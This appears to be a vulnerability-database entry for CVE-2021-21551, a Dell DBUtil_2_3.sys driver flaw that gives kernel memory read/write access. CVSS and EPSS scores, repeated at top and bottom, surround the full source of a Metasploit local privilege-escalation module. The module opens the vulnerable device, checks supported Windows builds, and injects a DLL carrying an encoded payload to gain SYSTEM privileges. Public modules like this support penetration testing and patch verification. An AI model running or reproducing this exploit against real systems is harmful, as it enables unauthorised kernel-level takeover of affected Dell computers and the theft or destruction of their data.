7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
4.6 Medium
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
60.2%
The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected IOCTL interface that can be abused by an attacker read and write kernel-mode memory.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Dell DBUtil_2_3.sys IOCTL memmove',
'Description' => %q{
The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected IOCTL interface that can be abused by
an attacker read and write kernel-mode memory.
},
'License' => MSF_LICENSE,
'Author' => [
'Kasif Dekel', # (from SentinelLabs) blog with detailed analysis
'SentinelLabs', # vulnerability discovery and detailed analysis
'Spencer McIntyre' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2021-21551' ],
[ 'URL', 'https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/' ],
[ 'URL', 'https://www.dell.com/support/kbdoc/ro-ro/000186019/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability' ],
],
'DisclosureDate' => '2021-05-04',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => [ ]
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
}
)
)
end
def check
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\dbutil_2_3', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end
def target_compatible?
version = get_version_info
vprint_status("OS version: #{version}")
return true if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
return true if version.build_number == Msf::WindowsVersion::Win81 && version.workstation?
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_21H1)
false
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-21551', 'CVE-2021-21551.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
4.6 Medium
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
60.2%